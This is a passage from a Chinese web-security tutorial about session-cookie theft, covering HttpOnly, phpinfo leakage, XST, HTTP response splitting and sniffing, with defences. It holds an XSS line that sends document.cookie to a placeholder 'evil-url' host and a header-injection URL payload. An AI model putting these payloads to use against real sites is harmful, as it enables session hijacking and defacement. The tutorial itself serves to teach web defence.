var img = document.createElement('img');img.src =https://www.isolves.com/it/aq/wl/2019-07-08/'http://evil-url?c='+ encodeURIComponent(document.cookie);document.getElementsByTagName('body')[0].AppendChild(img);如何寻找XSS漏洞是另外一个话题了 , 自行google之 。 防御 根据上面HttpOnly cookie的介绍 , 一旦一个cookie被设置为HttpOnly , js脚本就无法再获取到 , 而网络传输时依然会带上 。也就是说依然可以依靠这个cookie进行session维持 , 但客户端js对其不可见 。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了 。但是上面说的是无法利用xss进行简单的攻击 , 但是也不是没有办法的 。既然无法使用document.cookie获取到 , 可以转而通过其他的方式 。下面介绍两种xss结合其他漏洞的攻击方式 。
xss结合phpinfo页面
攻击 大家都知道 , 利用php开发的应用会有一个phpinfo页面 。而这个页面会dump出请求信息 , 其中就包括cookie信息 。
如果开发者没有关闭这个页面 , 就可以利用xss漏洞向这个页面发起异步请求 , 获取到页面内容后parse出cookie信息 , 然后上传给攻击者 。phpinfo只是大家最常见的一种dump请求的页面 , 但不仅限于此 , 为了调试方便 , 任何dump请求的页面都是可以被利用的漏洞 。 防御关闭所有phpinfo类dump request信息的页面 。
XSS + HTTP TRACE = XST
这是一种古老的攻击方式 , 现在已经消失 , 写在这里可以扩展一下攻防思路 。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法 。其中包含了HttpOnly的cookie 。如果利用xss异步发起trace请求 , 又可以获取session信息了 。之所以说是一种古老的攻击方式 , 因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求 。另外提一点 , 当浏览器没有禁止异步发起trace的时代 , 很多开发者都关闭了web server的trace支持来防御XST攻击 。但攻击者在特定的情况下还可以绕过 , 用户使用了代理服务器 , 而代理服务器没有关闭trace支持 , 这样又可以trace了 。
HTTP Response Splitting
- 参考1
- 参考2
www.example.com/?r=http://baidu.comrequest信息:
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 FoundLocation: http://baidu.comContent-Type: text/html这样页面就302跳转到百度了 。攻击者利用r参数可以注入header , r参数不是简单的url , 而是包含的header信息:
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E response变成了:
HTTP/1.1 302 FoundLocation: HTTP/1.1 200 OKContent-Type: text/htmlX-XSS-Protection: 0 <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>Content-Type: text/html有两个攻击要点:
- 指定X=XSS-Protection: 0 , 关闭浏览器的xss保护机制 。
- 注入脚本
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式 , cookie不仅存在于上层应用中 , 更流转于请求中 。上层应用获取不到后 , 攻击者可以转而从网络请求中获取 。只要是未使用https加密的网站都可以抓包分析 , 其中就包含了标识session的cookie 。当然 , 完成网络监听需要满足一定的条件 , 这又是另外一个话题了 。常见的方式:
- DNS缓存投毒攻击者把要攻击的域名的一个子域映射到攻击者的server , 然后想办法让被攻击者访问这个server(XSS request、社会化攻击等) , 请求中会带过来所有cookie(包括HttpOnly) 。
推荐阅读
- 前端开发中Cookie详解
- 什么是茶艺:泡茶艺术和饮茶艺术
- 数据结构Java实现:循环链表和双向链表
- 网站植入抓取代码 窃取手机访客隐私
- 一篇文章搞懂VPS和云服务器的区别
- 大型 IT 公司如何防止运维偷窥和篡改数据
- 有机鲜牛奶和鲜牛奶区别
- 复旦大学|童瑶和海清新剧里演姑嫂,一个精致一个接地气都好会穿,气质真好
- 关之琳李嘉欣五官对比 李嘉欣和关之琳哪个更美
- 抖音是开通橱窗还是开通抖音小店 抖音小店和橱窗哪个好